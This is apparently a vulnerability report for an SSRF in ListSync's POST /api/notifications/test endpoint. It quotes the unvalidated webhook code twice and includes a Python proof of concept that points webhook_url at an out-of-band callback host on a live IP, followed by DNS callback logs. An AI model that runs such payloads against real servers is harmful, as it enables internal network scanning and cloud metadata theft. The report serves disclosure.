🐛 Bug Description
Summary
The POST /api/notifications/test endpoint accepts a user-supplied webhook_url in the request body and passes it directly to requests.post() (or DiscordWebhook) without any URL validation or allowlist check. An attacker sends a crafted JSON payload with webhook_url pointing to an attacker-controlled server. The application issues an outbound HTTP request to that URL, confirmed by DNS callback hits from the server's IP. This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.
Details
// list-sync-main/api_server.py#L6858C1-L6968C99
6858→async def test_discord_notification(payload: dict = None):
6859→ """Send a test Discord notification to verify webhook configuration"""
6860→ try:
6861→ # Get Discord webhook URL from request body or environment
6862→ webhook_url = None
6863→ if payload and 'webhook_url' in payload:
6864→ webhook_url = payload['webhook_url']
6865→
6866→ if not webhook_url:
6867→ webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868→
6869→ if not webhook_url:
6870→ raise HTTPException(
6871→ status_code=400,
6872→ detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873→ )
6874→
6875→ # Try to use the discord-webhook library if available
6876→ try:
6877→ from discord_webhook import DiscordWebhook, DiscordEmbed
6878→ from datetime import datetime
6879→
6880→ # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881→ webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882→
6883→ # Create embed with test message
6884→ current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885→ embed = DiscordEmbed(
6886→ title="🧪 Discord Integration Test",
6887→ description="If you see this message, Discord notifications are working correctly! ✅",
6888→ color=10181046 # Purple color
6889→ )
6890→
6891→ embed.add_embed_field(
6892→ name="Test Time",
6893→ value=current_time,
6894→ inline=True
6895→ )
6896→
6897→ embed.add_embed_field(
6898→ name="Status",
6899→ value="✅ Connected",
6900→ inline=True
6901→ )
6902→
6903→ embed.set_footer(text="ListSync Notification System")
6904→ embed.set_timestamp()
6905→
6906→ # Add embed to webhook (only embed, no content)
6907→ webhook.add_embed(embed)
6908→
6909→ # Send webhook
6910→ response = webhook.execute()
6911→
6912→ return {
6913→ "success": True,
6914→ "message": "Test notification sent successfully! Check your Discord channel.",
6915→ "timestamp": current_time
6916→ }
6917→
6918→ except ImportError:
6919→ # Fallback to using requests directly
6920→ from datetime import datetime
6921→ current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922→
6923→ # Only send embed, no content to avoid duplicate messages
6924→ payload = {
6925→ "embeds": [{
6926→ "title": "🧪 Discord Integration Test",
6927→ "description": "If you see this message, Discord notifications are working correctly! ✅",
6928→ "color": 10181046,
6929→ "fields": [
6930→ {
6931→ "name": "Test Time",
6932→ "value": current_time,
6933→ "inline": True
6934→ },
6935→ {
6936→ "name": "Status",
6937→ "value": "✅ Connected",
6938→ "inline": True
6939→ }
6940→ ],
6941→ "footer": {
6942→ "text": "ListSync Notification System"
6943→ },
6944→ "timestamp": datetime.utcnow().isoformat()
6945→ }]
6946→ }
6947→
6948→ response = requests.post(webhook_url, json=payload, timeout=10)
6949→ response.raise_for_status()
6950→
6951→ return {
6952→ "success": True,
6953→ "message": "Test notification sent successfully! Check your Discord channel.",
6954→ "timestamp": current_time
6955→ }
6956→
6957→ except requests.exceptions.Timeout:
6958→ raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959→ except requests.exceptions.RequestException as e:
6960→ error_msg = f"Failed to send Discord notification: {str(e)}"
6961→ if hasattr(e, 'response') and e.response is not None:
6962→ error_msg += f" (Status: {e.response.status_code})"
6963→ raise HTTPException(status_code=500, detail=error_msg)
6964→ except Exception as e:
6965→ import traceback
6966→ error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967→ logging.error(error_detail)
6968→ raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")
// list-sync-main/api_server.py#L6858C1-L6968C99
6858→async def test_discord_notification(payload: dict = None):
6859→ """Send a test Discord notification to verify webhook configuration"""
6860→ try:
6861→ # Get Discord webhook URL from request body or environment
6862→ webhook_url = None
6863→ if payload and 'webhook_url' in payload:
6864→ webhook_url = payload['webhook_url']
6865→
6866→ if not webhook_url:
6867→ webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868→
6869→ if not webhook_url:
6870→ raise HTTPException(
6871→ status_code=400,
6872→ detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873→ )
6874→
6875→ # Try to use the discord-webhook library if available
6876→ try:
6877→ from discord_webhook import DiscordWebhook, DiscordEmbed
6878→ from datetime import datetime
6879→
6880→ # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881→ webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882→
6883→ # Create embed with test message
6884→ current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885→ embed = DiscordEmbed(
6886→ title="🧪 Discord Integration Test",
6887→ description="If you see this message, Discord notifications are working correctly! ✅",
6888→ color=10181046 # Purple color
6889→ )
6890→
6891→ embed.add_embed_field(
6892→ name="Test Time",
6893→ value=current_time,
6894→ inline=True
6895→ )
6896→
6897→ embed.add_embed_field(
6898→ name="Status",
6899→ value="✅ Connected",
6900→ inline=True
6901→ )
6902→
6903→ embed.set_footer(text="ListSync Notification System")
6904→ embed.set_timestamp()
6905→
6906→ # Add embed to webhook (only embed, no content)
6907→ webhook.add_embed(embed)
6908→
6909→ # Send webhook
6910→ response = webhook.execute()
6911→
6912→ return {
6913→ "success": True,
6914→ "message": "Test notification sent successfully! Check your Discord channel.",
6915→ "timestamp": current_time
6916→ }
6917→
6918→ except ImportError:
6919→ # Fallback to using requests directly
6920→ from datetime import datetime
6921→ current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922→
6923→ # Only send embed, no content to avoid duplicate messages
6924→ payload = {
6925→ "embeds": [{
6926→ "title": "🧪 Discord Integration Test",
6927→ "description": "If you see this message, Discord notifications are working correctly! ✅",
6928→ "color": 10181046,
6929→ "fields": [
6930→ {
6931→ "name": "Test Time",
6932→ "value": current_time,
6933→ "inline": True
6934→ },
6935→ {
6936→ "name": "Status",
6937→ "value": "✅ Connected",
6938→ "inline": True
6939→ }
6940→ ],
6941→ "footer": {
6942→ "text": "ListSync Notification System"
6943→ },
6944→ "timestamp": datetime.utcnow().isoformat()
6945→ }]
6946→ }
6947→
6948→ response = requests.post(webhook_url, json=payload, timeout=10)
6949→ response.raise_for_status()
6950→
6951→ return {
6952→ "success": True,
6953→ "message": "Test notification sent successfully! Check your Discord channel.",
6954→ "timestamp": current_time
6955→ }
6956→
6957→ except requests.exceptions.Timeout:
6958→ raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959→ except requests.exceptions.RequestException as e:
6960→ error_msg = f"Failed to send Discord notification: {str(e)}"
6961→ if hasattr(e, 'response') and e.response is not None:
6962→ error_msg += f" (Status: {e.response.status_code})"
6963→ raise HTTPException(status_code=500, detail=error_msg)
6964→ except Exception as e:
6965→ import traceback
6966→ error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967→ logging.error(error_detail)
6968→ raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")
POC
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/api/notifications/test', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL and endpoint
target_url = "http://34.127.19.15:41670/api/notifications/test"
# Set up the OOB URL for testing
oob_url = '$domain:443'
# Craft the payload with the malicious webhook URL
payload = {
"webhook_url": f"http://{oob_url}/"
}
# Configure the request parameters
headers = {
"Content-Type": "application/json"
}
# Send the POST request to test the SSRF vulnerability
response = requests.post(
url=target_url,
headers=headers,
json=payload,
verify=False,
allow_redirects=False,
timeout=30.0
)
# Print the results
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
# ********************************** Poc End ***********************************
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 172.217.46.16, 69.28.61.220, 69.28.61.221
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
📋 Expected Behavior
access to trusted URLs
❌ Actual Behavior
This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.
🔄 Steps to Reproduce
please check the POC
💻 Operating System
Ubuntu
🔧 Installation Method
Docker
🚨 Error Messages
🛠️ Affected Areas
📝 Relevant Log Entries
⚙️ Configuration
📋 Additional Context
No response
🐛 Bug Description
Summary
The POST /api/notifications/test endpoint accepts a user-supplied webhook_url in the request body and passes it directly to requests.post() (or DiscordWebhook) without any URL validation or allowlist check. An attacker sends a crafted JSON payload with webhook_url pointing to an attacker-controlled server. The application issues an outbound HTTP request to that URL, confirmed by DNS callback hits from the server's IP. This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.
Details
POC
📋 Expected Behavior
access to trusted URLs
❌ Actual Behavior
This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.
🔄 Steps to Reproduce
please check the POC
💻 Operating System
Ubuntu
🔧 Installation Method
Docker
🚨 Error Messages
🛠️ Affected Areas
📝 Relevant Log Entries
⚙️ Configuration
📋 Additional Context
No response